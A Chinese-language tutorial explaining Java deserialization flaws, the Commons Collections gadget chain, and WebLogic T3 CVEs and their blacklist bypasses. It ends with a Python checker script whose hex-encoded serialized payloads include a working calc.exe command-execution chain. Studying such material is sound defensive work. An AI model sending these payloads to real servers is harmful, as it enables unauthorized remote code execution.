Java反序列化

序列化:把对象转换为字节序列的过程。
反序列化:把字节序列恢复为对象的过程。

JDK类库中的序列化API

java.io.ObjectOutputStream代表对象输出流,它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。
  java.io.ObjectInputStream代表对象输入流,它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

在Java中,对象的序列化与反序列化被广泛应用到RMI(远程方法调用)及网络传输中。

Java序列化数据解析

数据开头为“AC ED 00 05”,数据内容包含了包名与类名、类中包含的变量名称、类型及变量的值。

ava.io.ObjectStreamConstants类中定义了STREAM_MAGIC与STREAM_VERSION,查看JDK1.5、1.6、1.7、1.8的ObjectStreamConstants类,STREAM_MAGIC值均为0xaced,STREAM_VERSION值均为5。

影响范围

Breenmachine的这篇blog让java反序列化漏洞得到更多的关注,他介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。

漏洞原理

如果Java应用对用户输入,即不可信数据没有进行校验而直接做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。

Apache Commons Collections

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。
该漏洞的出现的根源在CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法,并且该方法在相关对象反序列化时并未进行任何校验.
Apache Commons Collections中提供了一个Transformer的类,这个接口的的功能就是把一个对象转换为另一个对象。

图上红框标注的是java反序列化漏洞的poc包含的类。
invokeTransformer:Transformer implementation that creates a new object instance by reflection.(通过反射,返回一个对象)
ChainedTransformer:Transformer implementation that chains the specified transformers together.(把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
ConstantTransformer:Transformer implementation that returns the same constant each time.(把一个对象转化为常量,并返回)
InvokerTransformer是比较关键的一个类,我们来看看它的实现:

我们可以看到该该方法中采用了反射的方法进行函数调用,Input参数为要进行反射的对象(反射机制就是可以把一个类,类的成员(函数,属性),当成一个对象来操作,希望读者能理解,也就是说,类,类的成员,我们在运行的时候还可以动态地去操作他们.),iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型,iArgs为对应方法的参数,在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数
POC:

Poc解读:整个poc的逻辑可以这么理解,构建innerMap的键值对,为其赋值,利用Transformed的decorate方法,可以对Map数据结构的key,value进行transform。该方法有三个参数,第一个为待转化的map对象,第二个为map对象内的key要经过的转化方法,第三个参数为map对象内的value要经过的转化方法。
TransformedMap.decoreate(目标map,key的转化对象(null或者单个链),value的转化对象)
poc对innerMap的value进行转换,当innerMap的value执行完一个完整的转换链,就完成了命令执行。

如果Java应用没有对传入的序列化数据进行安全性检查,我们可以将恶意的TransformedMap序列化后,远程提交给Java应用,如果Java应用可以触发变换,即可成功远程命令执行。那如何让Java应用触发Transformer的变换呢?
在进行反序列化时,我们会调用ObjectInputStream类的readObject()方法。如果被反序列化的类重写了readObject(),那么该类在进行反序列化时,Java会优先调用重写的readObject()方法。
结合前述Commons Collections的特性,如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,并且这个Map变量是可控的,就可以实现我们的攻击目标了。
我们观察到java运行库中有这样一个类AnnotationInvocationHandler,这个类有一个成员变量memberValues是Map类型.

AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数。

因此,我们只需要使用前面构造的Map来构造AnnotationInvocationHandler,进行序列化,当触发readObject()反序列化的时候,就能实现命令执行。
这段POC本质上就是利用反射调用Runtime() 执行了一段系统命令,作用等同于:

((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe");

Weblogic Exploit

Oracle Weblogic T3 Deserialization Remote Code Execution Vulnerability
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
weblogic 采用T3协议进行序列化数据的传输,可以看到weblogic发送的JAVA序列化数据分为6个部分,第一部分的前四个字节为整个数据包的长度,第2-6部分均为JAVA序列化数据。经测试,必须先发送T3协议头数据包,再发送JAVA序列化数据包,才能使weblogic进行JAVA反序列化,进而触发漏洞。如果只发送JAVA序列化数据包,不先发送T3协议头数据包,无法触发漏洞。

CVE-2015-4852

blacklist

org.apache.commons.collections.functors*
com.sun.org.apache.xalan.internal.xsltc.trax*
javassist*
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure

CVE-2015-4852的反序列化的点有三个:

weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

后面的几个漏洞实质都是对黑名单的一个绕过。

CVE-2016-0638

原理将反序列化的对象封装进了 weblogic.corba.utils.MarshalledObject,然后再对 MarshalledObject 进行序列化,生成 payload 字节码。反序列化时 MarshalledObject 不在 WebLogic 黑名单里,可正常反序列化,在反序列化时 MarshalledObject 对象调用 readObject 时对 MarshalledObject 封装的序列化对象再次反序列化,这样就逃过了黑名单的检查。

CVE-2017-3248

利用了黑名单之外的反序列化类,通过 JRMP 协议达到执行任意反序列化 payload。(Java远程消息交换协议 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。)
下面给出一段在tenable找的描述

In the case of WebLogic, we are interested in yososerial's JRMPListener.java payload. This serializes a RemoteObjectInvocationHandler which uses a UnicastRef object to establish a TCP connection to a remote server in order to get at the remote server's RMI registry. This connection uses JRMP so the client will deserialize whatever the server responds with, achieving unauthenticated remote code execution.
Exploiting WebLogic
To demonstrate the issue to ZDI and Oracle, Tenable created two scripts. The first script is a server that listens for the callback, called jrmp_listener.py. When the connect back connects to jrmp_listener.py it will send a CommonCollections3 payload in response which will trigger the RCE on WebLogic. The second script sends the serialized object to WebLogic via t3 on TCP port 7001 (just like the original FoxGlove attack), called jrmp_connect_back.py. In order to exploit WebLogic, jrmp_listener.py must be executed before jrmp_connect_back.py. The result of the exploitation will cause the connect back, which exists on its own thread, to be executed multiple times (which means an attacker could deliver multiple payloads).

漏洞利用

漏洞利用的步骤:
1.找到一个接受外部输入的序列化对象的接收点,即反序列化漏洞的触发点。
2.应用的Class Path中是否包含Apache Commons Collections库(ysoserial所支持的其他库也行)
3.使用ysoserial来生成反序列化的payload,指定库名和想要执行的命令即可。
4.通过先前找到的传入对象方式进行对象注入,数据中载入payload,触发受影响应用中ObjectInputStream的反序列化操作,随后通过反射调用Runtime.getRunTime.exec即可完成利用。
最关键的是用恶意的序列化数据去替换正常的序列化数据

ysoserial

ysoserial

下面给出一个'CVE-2016-0638','CVE-2016-3510','CVE-2017-3248'的无害poc

# -*- coding: utf-8 -*-
import socket
import time
import re

#
#  @author iswin@threathunter.org
#  reffer: nessus
#

VUL=['CVE-2016-0638','CVE-2016-3510','CVE-2017-3248']
PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a0000018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78','aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b427870b6f794cf757200025b42acf317f8060854e0020000787000000130aced00057372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000001767200106a6176612e6c616e672e53797374656d00000000000000000000007870','aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078']
VER_SIG=['weblogic.jms.common.StreamMessageImpl','org.apache.commons.collections.functors.InvokerTransformer','\\$Proxy[0-9]+']

def t3handshake(sock,server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print 'handshake successful'

def buildT3RequestObject(sock,port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))


def sendEvilObjData(sock,data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception as e:
        pass
    return res

def checkVul(res,server_addr,index):
    p=re.findall(VER_SIG[index], res, re.S)
    if len(p)>0:
        print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])
    else:
        print '%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index])


def run(dip,dport,index):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整
    sock.settimeout(50)
    server_addr = (dip, dport)
    t3handshake(sock,server_addr)
    buildT3RequestObject(sock,dport)
    rs=sendEvilObjData(sock,PAYLOAD[index])
    checkVul(rs,server_addr,index)


if __name__=="__main__":
    dip = '10.8.56.17'
    dport = 7001
    for i in range(0,len(VUL)):
        run(dip,dport,i)

漏洞验证环境可以用phith0n牛的weblogic环境:weak_password

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